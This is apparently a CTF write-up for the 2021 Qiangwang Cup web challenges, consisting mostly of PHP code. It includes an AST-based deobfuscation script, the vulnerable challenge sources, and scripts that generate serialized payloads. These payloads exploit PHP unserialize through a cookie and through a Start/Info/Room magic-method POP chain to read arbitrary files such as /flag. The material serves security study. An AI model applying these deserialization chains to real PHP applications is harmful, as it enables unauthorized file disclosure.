2021强网杯 Web Writeup

<?php
// 16w 行代码大概跑 105s, 定义300s肯定不会超时
ini_set('max_execution_time', '300');

require 'vendor/autoload.php';

use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;

// 入口函数名称
$entryFunc = 'NGPaqV';
// 输入文件
$inputPhpFile = './class.php';
// 输出文件
$outputPhpFile = './class.php';

$code = file_get_contents($inputPhpFile);
echo '[+] get file content done'."\n";

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);

try {
    $ast = $parser->parse($code);
} catch (Error $error) {
    echo "Parse error: {$error->getMessage()}\n";
    return;
}
echo '[+] parse done'. "\n";

// 计数删了多少个函数
$deleteCnt = 0;
// $dumper = new NodeDumper;
// echo $dumper->dump($ast) . "\n";
foreach ($ast as $k=>$subclass) {
    foreach ($subclass->stmts as $kk=>$classMember) {
        if ($classMember instanceof PhpParser\Node\Stmt\ClassMethod) {
            // echo $dumper->dump($classMember) . "\n";
            // 除入口函数外的类方法没有被引用则删除
            if (substr_count($code, $classMember->name->name) === 1 && $classMember->name->name !== $entryFunc) {
                $deleteCnt++;
                unset($subclass->stmts[$kk]);
                continue;
            }

            if (! $classMember->params) { // 只获取第一个参数
                continue;
            }
            $param = $classMember->params[0]->var->name; // 获取方法参数

            foreach ($classMember->stmts as $kkkk => $subStatements) {
                // echo $dumper->dump($subStatements) . "\n";
                // 参数
                if ($subStatements instanceof PhpParser\Node\Stmt\For_) {
                    $assignLeft =  $subStatements->stmts[0]->expr->var->name;
                    # 参数会被赋值覆盖
                    if ($param === $assignLeft) {
                        # 删除该节点
                        $deleteCnt++;
                        unset($subclass->stmts[$kk]);
                        continue;
                    }
                }
                if ($subStatements instanceof PhpParser\Node\Stmt\Expression) {
                    // 参数值会被覆盖
                    if ($subStatements->expr instanceof  PhpParser\Node\Expr\Assign) {
                        if ($param === $subStatements->expr->var->name) {
                            $deleteCnt++;
                            unset($subclass->stmts[$kk]);
                            continue;
                        }
                    }
                    // eval 是否不被引用
                    if ($subStatements->expr instanceof  PhpParser\Node\Expr\Eval_) {
                        // 函数名称只出现一次
                        if (substr_count($code, $classMember->name->name) === 1) {
                            $deleteCnt++;
                            unset($subclass->stmts[$kk]);
                            continue;
                        }
                    }
                }
            }
        }
    }
}
echo '[+] filter done'."\n";

// 输出
$prettyPrinter = new PrettyPrinter\Standard;
$afterFilter = $prettyPrinter->prettyPrintFile($ast);
file_put_contents($outputPhpFile, $afterFilter);
echo '[+] total filter: '.$deleteCnt. ' function'."\n";

<?php

class xCUG62
{
    public $rLTCpuG;
    function __construct() {
    }
}

class E984fn
{
    public $GcQ9wNy;
    function __construct() {
        $this->GcQ9wNy = new xCUG62();
    }
}

class zOTHpM
{
    public $HiDCYPi;
    function __construct() {
        $this->HiDCYPi = new E984fn();
    }
}

class S0bXG3
{
    public $t8FQmBq;
    function __construct() {
        $this->t8FQmBq = new zOTHpM();
    }
}

class LTswgA
{
    public $GP8GMDp;
    function __construct() {
        $this->GP8GMDp = new  S0bXG3();
    }
}

class Br2Com
{
    public $aSGzyvk;
    function __construct() {
        $this->aSGzyvk = new LTswgA();
    }
}

class MwVbup
{
    public $qFwGWF6;
    function __construct() {
        $this->qFwGWF6 = new Br2Com();
    }
}

class xxAkFU
{
    public $YRn1G6B;
    function __construct() {
        $this->YRn1G6B = new MwVbup();
    }
}

class UOPWFh
{
    public $w2rcmoW;
    function __construct() {
        $this->w2rcmoW = new xxAkFU();
    }
}

class fTTYmp
{
    public $Ma3Koaf;
    function __construct() {
        $this->Ma3Koaf = new UOPWFh();
    }
}

class zuNg7f
{
    public $TNngTy9;
    function __construct() {
        $this->TNngTy9 = new fTTYmp();
    }
}

class Q0Ehc0
{
    public $Eze6mbP;
    function __construct() {
        $this->Eze6mbP = new zuNg7f();
    }
}

class LNv8hP
{
    public $kiZRG9G;
    function __construct() {
        $this->kiZRG9G = new Q0Ehc0();
    }
}

class RLadP4
{
    public $FkQAZ7e;
    function __construct() {
        $this->FkQAZ7e = new LNv8hP();
    }
}

class K1lpuz
{
    public $ZH6YAPE;
    function __construct() {
        $this->ZH6YAPE = new RLadP4();
    }
}

class lIcDR2
{
    public $Q7WCRu9;
    function __construct() {
        $this->Q7WCRu9 = new K1lpuz();
    }
}

class xk6AMC
{
    public $nqGOOTr;
    function __construct() {
        $this->nqGOOTr = new lIcDR2();
    }
}

class mDnkFh
{
    public $SLzu22G;
    function __construct() {
        $this->SLzu22G = new xk6AMC();
    }
}

class LvG62O
{
    public $AByNdFw;
    function __construct() {
        $this->AByNdFw = new mDnkFh();
    }
}

class v00XnF
{
    public $S9vaxl3;
    function __construct() {
        $this->S9vaxl3 = new LvG62O();
    }
}

class mRhBx7
{
    public $uMKr13G;
    function __construct() {
        $this->uMKr13G = new v00XnF();
    }
}

class Eckd7K
{
    public $bR5zBKO;
    function __construct() {
        $this->bR5zBKO = new mRhBx7();
    }
}

class gGHPEt
{
    public $IOGuqdZ;
    function __construct() {
        $this->IOGuqdZ = new Eckd7K();
    }
}

// 1
class OcZqBy
{
    public $yHPAqE1;
    function __construct() {
        $this->yHPAqE1 = new gGHPEt();
    }
}


class NGPaqV{
    public $ZwSdRyt;
    function __construct() {
        $this->ZwSdRyt = new OcZqBy();
    }
}

$NG = new NGPaqV();
echo serialize($NG);

I see your Cookie
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){
        
        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

<?php

class myclass {
}

class Hello{
    public $qwb;
}

$he = new Hello();
$he->qwb = '/Users/tari/Sites/tari_local/e2a7106f1cc8bb1e1318df70aa0a3540.php';
$arr[1] = new myclass();
$arr[0] = $he;

echo urlencode(str_replace("i:0", "i:1", serialize($arr)));

<?php
class myclass
{
    public $test;
}

class Hello
{
}

$a = new myclass();
$b = new Hello();
$b->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php";
$a->test = $b;

$raw_exp = serialize($a);
echo urlencode(substr($raw_exp, 0, strlen($raw_exp) - 1));

<?php
$hint = 'hint';

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

<?php

class Start
{
    public $name='guest';
    public $flag='1';
}

class Info
{
    private $phonenumber = 123123;
    public $promise = 'Ido';
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}

$st = new Start();
$if = new Info();
$ro = new Room();
$st->name = $if;
$if->file['filename'] = $ro;
$ro->a = new Room();

echo urlencode(serialize($st));